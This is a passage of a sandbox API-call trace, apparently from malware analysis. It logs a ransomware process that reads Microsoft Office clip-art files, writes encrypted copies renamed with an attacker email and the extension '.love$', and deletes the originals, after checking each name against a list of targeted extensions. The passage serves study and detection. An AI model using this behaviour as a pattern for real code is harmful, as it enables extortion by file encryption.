[0279.096] SetEndOfFile (hFile=0x568) returned 1 [0279.100] CloseHandle (hObject=0x568) returned 1 [0279.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0279.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0279.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0279.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0279.111] lstrlenW (lpString=".doc") returned 4 [0279.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.111] lstrlenW (lpString=".docx") returned 5 [0279.111] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0279.111] lstrlenW (lpString=".pdf") returned 4 [0279.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.111] lstrlenW (lpString=".xls") returned 4 [0279.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.111] lstrlenW (lpString=".xlsx") returned 5 [0279.111] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0279.111] lstrlenW (lpString=".ppt") returned 4 [0279.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0279.111] lstrlenW (lpString=".zip") returned 4 [0279.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.111] lstrlenW (lpString=".rar") returned 4 [0279.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.111] lstrlenW (lpString=".bz2") returned 4 [0279.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.111] lstrlenW (lpString=".7z") returned 3 [0279.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0279.111] lstrlenW (lpString=".dbf") returned 4 [0279.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0279.112] lstrlenW (lpString=".1cd") returned 4 [0279.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0279.112] lstrlenW (lpString=".jpg") returned 4 [0279.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0279.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0279.112] lstrlenW (lpString=".doc") returned 4 [0279.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.112] lstrlenW (lpString=".docx") returned 5 [0279.112] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0279.112] lstrlenW (lpString=".pdf") returned 4 [0279.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.112] lstrlenW (lpString=".xls") returned 4 [0279.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.112] lstrlenW (lpString=".xlsx") returned 5 [0279.112] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0279.112] lstrlenW (lpString=".ppt") returned 4 [0279.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0279.112] lstrlenW (lpString=".zip") returned 4 [0279.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.112] lstrlenW (lpString=".rar") returned 4 [0279.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.112] lstrlenW (lpString=".bz2") returned 4 [0279.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.112] lstrlenW (lpString=".7z") returned 3 [0279.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0279.113] lstrlenW (lpString=".dbf") returned 4 [0279.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0279.113] lstrlenW (lpString=".1cd") returned 4 [0279.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0279.113] lstrlenW (lpString=".jpg") returned 4 [0279.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.113] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0279.113] lstrlenW (lpString="J0105530.WMF") returned 12 [0279.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0279.114] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7384) returned 1 [0279.115] CloseHandle (hObject=0x560) returned 1 [0279.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220 [0279.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0279.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0279.116] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.116] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0279.118] GetLastError () returned 0x0 [0279.118] ReadFile (in: hFile=0x560, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0280.471] WriteFile (in: hFile=0x568, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0280.472] ReadFile (in: hFile=0x560, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.472] WriteFile (in: hFile=0x568, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.473] SetEndOfFile (hFile=0x568) returned 1 [0280.473] CloseHandle (hObject=0x568) returned 1 [0280.473] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.473] SetEndOfFile (hFile=0x560) returned 1 [0280.476] CloseHandle (hObject=0x560) returned 1 [0280.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0280.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0280.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0280.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0280.478] lstrlenW (lpString=".doc") returned 4 [0280.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.478] lstrlenW (lpString=".docx") returned 5 [0280.478] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0280.478] lstrlenW (lpString=".pdf") returned 4 [0280.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.478] lstrlenW (lpString=".xls") returned 4 [0280.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.478] lstrlenW (lpString=".xlsx") returned 5 [0280.478] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0280.478] lstrlenW (lpString=".ppt") returned 4 [0280.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0280.478] lstrlenW (lpString=".zip") returned 4 [0280.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.478] lstrlenW (lpString=".rar") returned 4 [0280.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.478] lstrlenW (lpString=".bz2") returned 4 [0280.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.478] lstrlenW (lpString=".7z") returned 3 [0280.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0280.478] lstrlenW (lpString=".dbf") returned 4 [0280.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0280.479] lstrlenW (lpString=".1cd") returned 4 [0280.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0280.479] lstrlenW (lpString=".jpg") returned 4 [0280.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0280.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0280.479] lstrlenW (lpString=".doc") returned 4 [0280.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.479] lstrlenW (lpString=".docx") returned 5 [0280.479] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0280.479] lstrlenW (lpString=".pdf") returned 4 [0280.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.479] lstrlenW (lpString=".xls") returned 4 [0280.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.479] lstrlenW (lpString=".xlsx") returned 5 [0280.479] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0280.479] lstrlenW (lpString=".ppt") returned 4 [0280.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0280.479] lstrlenW (lpString=".zip") returned 4 [0280.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.479] lstrlenW (lpString=".rar") returned 4 [0280.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.479] lstrlenW (lpString=".bz2") returned 4 [0280.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.479] lstrlenW (lpString=".7z") returned 3 [0280.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0280.479] lstrlenW (lpString=".dbf") returned 4 [0280.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0280.479] lstrlenW (lpString=".1cd") returned 4 [0280.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0280.480] lstrlenW (lpString=".jpg") returned 4 [0280.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.480] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0280.480] lstrlenW (lpString="J0105588.WMF") returned 12 [0280.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0280.504] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=21548) returned 1 [0280.504] CloseHandle (hObject=0x2fc) returned 1 [0280.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220 [0280.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0280.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0280.505] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.505] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0280.507] GetLastError () returned 0x0 [0280.507] ReadFile (in: hFile=0x2fc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x542c, lpOverlapped=0x0) returned 1 [0280.513] WriteFile (in: hFile=0x484, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5430, lpOverlapped=0x0) returned 1 [0280.514] ReadFile (in: hFile=0x2fc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.514] WriteFile (in: hFile=0x484, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.514] SetEndOfFile (hFile=0x484) returned 1 [0280.514] CloseHandle (hObject=0x484) returned 1 [0280.514] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.514] SetEndOfFile (hFile=0x2fc) returned 1 [0280.519] CloseHandle (hObject=0x2fc) returned 1 [0280.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0280.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0280.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0280.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0280.523] lstrlenW (lpString=".doc") returned 4 [0280.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.523] lstrlenW (lpString=".docx") returned 5 [0280.523] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0280.523] lstrlenW (lpString=".pdf") returned 4 [0280.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.523] lstrlenW (lpString=".xls") returned 4 [0280.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.523] lstrlenW (lpString=".xlsx") returned 5 [0280.523] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0280.523] lstrlenW (lpString=".ppt") returned 4 [0280.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0280.523] lstrlenW (lpString=".zip") returned 4 [0280.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.523] lstrlenW (lpString=".rar") returned 4 [0280.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.523] lstrlenW (lpString=".bz2") returned 4 [0280.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.523] lstrlenW (lpString=".7z") returned 3 [0280.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0280.523] lstrlenW (lpString=".dbf") returned 4 [0280.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0280.523] lstrlenW (lpString=".1cd") returned 4 [0280.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0280.524] lstrlenW (lpString=".jpg") returned 4 [0280.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0280.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0280.524] lstrlenW (lpString=".doc") returned 4 [0280.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.524] lstrlenW (lpString=".docx") returned 5 [0280.524] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0280.524] lstrlenW (lpString=".pdf") returned 4 [0280.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.524] lstrlenW (lpString=".xls") returned 4 [0280.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.524] lstrlenW (lpString=".xlsx") returned 5 [0280.524] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0280.524] lstrlenW (lpString=".ppt") returned 4 [0280.524] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0280.524] lstrlenW (lpString=".zip") returned 4 [0280.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.524] lstrlenW (lpString=".rar") returned 4 [0280.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.524] lstrlenW (lpString=".bz2") returned 4 [0280.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.524] lstrlenW (lpString=".7z") returned 3 [0280.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0280.525] lstrlenW (lpString=".dbf") returned 4 [0280.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0280.525] lstrlenW (lpString=".1cd") returned 4 [0280.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68 [0280.525] lstrlenW (lpString=".jpg") returned 4 [0280.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.525] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0280.525] lstrlenW (lpString="J0105638.WMF") returned 12 [0280.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0280.526] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10364) returned 1 [0280.527] CloseHandle (hObject=0x2fc) returned 1 [0280.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220 [0280.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0280.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0280.527] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.527] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0280.529] GetLastError () returned 0x0 [0280.529] ReadFile (in: hFile=0x2fc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x287c, lpOverlapped=0x0) returned 1 [0280.796] WriteFile (in: hFile=0x484, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2880, lpOverlapped=0x0) returned 1 [0280.798] ReadFile (in: hFile=0x2fc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.798] WriteFile (in: hFile=0x484, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.798] SetEndOfFile (hFile=0x484) returned 1 [0280.798] CloseHandle (hObject=0x484) returned 1 [0280.798] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.798] SetEndOfFile (hFile=0x2fc) returned 1 [0281.031] CloseHandle (hObject=0x2fc) returned 1 [0281.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0281.034] lstrlenW (lpString="C:\\Program Files\\Microsoft 